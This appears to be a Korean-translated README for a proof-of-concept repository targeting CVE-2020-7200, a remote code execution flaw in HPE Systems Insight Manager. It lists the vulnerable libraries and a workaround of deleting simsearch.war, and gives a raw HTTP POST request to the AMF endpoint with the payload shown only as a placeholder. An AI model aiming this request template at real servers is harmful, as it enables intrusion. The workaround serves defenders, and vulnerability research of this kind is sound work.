alexfrancow/cve-2020-7200CVE-2020-7200: HPE Systems Insight Manager (SIM) RCE PoC
HPE SIM 7.6 다운로드: https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-c05350303#N10011
세부 정보: https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us
🎞 비디오: https://www.youtube.com/watch?v=QNhcNJtjKyw
HPE는 패치를 제공하지 않지만 임시 수정 방법으로 C:\Program Files\HP\Systems Insight Manager\jboss\server\hpsim\deploy\simsearch.war에서 simsearch.war를 삭제하기만 하면 됩니다. 즉, 이것이 이 취약점의 주요 원인입니다!
Program Files\HP\Systems Insight Manager\jboss\server\hpsim\deploy\simsearch.war
└───WEB-INF
│
└───lib
axis-1.4.jar
backport-util-concurrent.jar
cfgatewayadapter.jar
commons-codec-1.3.jar
commons-httpclient-3.0.1.jar
commons-logging.jar
concurrent.jar
flex-messaging-common.jar
flex-messaging-core.jar
flex-messaging-opt.jar
flex-messaging-proxy.jar
flex-messaging-remoting.jar
flex-rds-server.jar
jaxrpc.jar
simsearch.jar
xalan.jar
Program Files\HP\Systems Insight Manager
└───lib
jgroups-2.2.1.jar
Program Files\HP\Systems Insight Manager\jboss\server\hpsim
└───lib
commons-collections.jar
javassist.jar
서버 시작:
C:\Program Files\HP\Systems Insight Manager\lbin>hpsimsvc.exe -console
요청:
POST /simsearch/messagebroker/amfsecure HTTP/1.1
Host: 127.0.0.1:50000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 0
<PAYLOAD>